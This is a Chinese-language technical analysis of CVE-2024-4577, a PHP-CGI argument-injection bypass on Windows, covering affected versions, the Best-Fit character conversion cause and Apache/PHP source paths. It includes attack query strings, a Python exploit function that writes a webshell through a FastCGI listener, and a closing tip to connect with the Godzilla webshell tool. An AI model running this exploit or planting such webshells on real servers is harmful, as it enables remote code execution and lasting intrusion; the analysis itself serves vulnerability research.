CVE-2024-4577分析

分析一下这个PHP在Windows平台上的原生RCE,PHP CGI 参数注入漏洞绕过

CVE-2024-4577

原作者文章,此漏洞影响安装在 Windows 操作系统上的 PHP 版本:

1
2
3
4
5
6
7
8
9
10
11
PHP Windows版 8.3.0 < 8.3.8
PHP Windows版 8.2.0 < 8.2.20
PHP Windows版 8.1.0 < 8.1.29
PHP Windows版 == 8.0.x
PHP Windows版 == 7.x
PHP Windows版 == 5.x
XAMPP Windows版 8.2.0 < 8.2.12
XAMPP Windows版 8.1.0 < 8.1.25
XAMPP Windows版 == 8.0.x
XAMPP Windows版 == 7.x
XAMPP Windows版 == 5.x

漏洞利用条件:

1
2
3
4
Windows
PHP CGI 模式
存在危险 codepage
Web Server 可直接调用 php-cgi.exe

早在 2012 年,php 就出现过CVE-2012-1823,其原理是,如果请求 URL 类似:

1
/index.php?-d+allow_url_include=1+-d+auto_prepend_file=php://input

PHP CGI 会把 ? 后内容当成命令行参数。于是可以使用php-cgi修改php配置:

1
php-cgi.exe -d allow_url_include=1 ...

最终实现:任意php代码执行

后来 PHP 加了防护,会检查:

1
if (query_string[0] == '-')

只要发现 query_string- 开头,就拒绝。看似修好了。但 CVE-2024-4577 的关键在于:

“Windows 字符编码转换导致攻击者能构造一个不是 -,但转换后又变成 - 的字符。”

这就绕过了修复,所以本质是对patch的一次再绕过。

CVE-2012-1823

CGI(Common Gateway Interface)本质:Web Server 启动一个外部程序处理请求。

例如:Apache 收到:

1
GET /index.php HTTP/1.1

然后Apache 实际会执行:

1
2
php-cgi.exe index.php
/usr/bin/php-cgi index.php

并通过:环境变量、stdin、argv传递请求信息。CGI 本质是命令行程序,这是后面所有问题根源。

核心原理

核心问题在于:

Windows 的 Best-Fit 字符转换机制。Windows 在:

1
Unicode <-> ANSI

转换时,会进行“近似映射”。

某些 Unicode 字符虽然不是 ASCII -,但转换到特定 code page 时:

会被自动映射成:0x2D ('-')

于是HTTP 请求:

1
/%ADd+auto_prepend_file=php://input

中的 %AD经过 Windows 转换后变成:

1
-d auto_prepend_file=php://input

源码分析

CGI模式本质是apache启动cgi.exe去处理请求,所以先看apache的源码,分析请求里面的参数是怎么走的,

假设http请求收到GET /index.php?-d+foo=bar HTTP/1.1,定位到/modules/generators/mod_cgi.c

static void add_ssi_vars(request_rec *r)将请求参数写入环境变量QUERY_STRING

然后看default_build_command,这里在解析请求参数,相当于请求被拆分为了-dfoo=bar

最终argv

1
2
argv[1] = "-d"
argv[2] = "foo=bar"

static int cgi_handler(request_rec *r)逻辑中,解析了参数之后,传入run_cgi_child运行cgi

到这里Apache 结束,进程切换到php-cgi部分。php8.0.28漏洞存在的版本sapi/cgi/cgi_main.c

搜索query_string,定位到下面的部分,仅对字符-做了检查,如果存在-,那就启用skip_getopt,后续不会继续执行

如果skip_getopt没被触发,那就进入main\getopt.c#php_getopt()进行实际的cgi参数解析,最后会返回输入的参数进入switch

-d动态修改 php.ini 配置,php-cgi -d auto_prepend_file=php://input

-b让php-cgi作为独立FastCGI Server,php-cgi -b 127.0.0.1:9000

环境配置

搭建一个Windows虚拟机,下载一个受影响的XAMPP版本并安装

开启Apache即可,无需额外配置。

复现

修改原利用脚本,增加webshell写入能力:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
def write_file(host, http_port, cgi_bind_port, php_file, target_file, content):
start_fastcgi(host, http_port, cgi_bind_port, enable_stdin_php=True)
normalized_php_file = php_file.replace("\\", "/")
script_name = "/" + normalized_php_file.rsplit("/", 1)[-1]
document_root = normalized_php_file.rsplit("/", 1)[0]
php_code = (
"<?php "
"$target = '" + php_string(target_file) + "'; "
"$content = '" + php_string(content) + "'; "
"$bytes = file_put_contents($target, $content); " +
"if ($bytes === false) { "
"echo \"write failed\\n\"; "
"} else { "
"echo \"write ok\\n\"; "
"echo \"target: /dashboard/icon.php?cmd=system('dir');\\n\"; "
"echo \"bytes: \" . $bytes . \"\\n\"; "
"} "
"echo \"" + PAYLOAD_END_MARKER + "\";"
"?>"
)
params = {
"SCRIPT_FILENAME": php_file,
"SCRIPT_NAME": script_name,
"DOCUMENT_ROOT": document_root,
"REQUEST_METHOD": "POST",
"REQUEST_URI": script_name,
"QUERY_STRING": "",
"SERVER_SOFTWARE": "Apache",
"SERVER_PROTOCOL": "HTTP/1.1",
"GATEWAY_INTERFACE": "CGI/1.1",
"SERVER_NAME": host,
"SERVER_PORT": "80",
"REMOTE_ADDR": "127.0.0.1",
"CONTENT_TYPE": "application/x-www-form-urlencoded",
"CONTENT_LENGTH": str(len(php_code.encode())),
"REDIRECT_STATUS": "1",
"PHP_VALUE": "allow_url_include=1\nauto_prepend_file=php://input",
"PHP_ADMIN_VALUE": "allow_url_include=1\nauto_prepend_file=php://input",
}
return trim_after_payload(fcgi_request(host, cgi_bind_port, params, php_code))

命令执行:

写入webshell,

建议哥斯拉连接: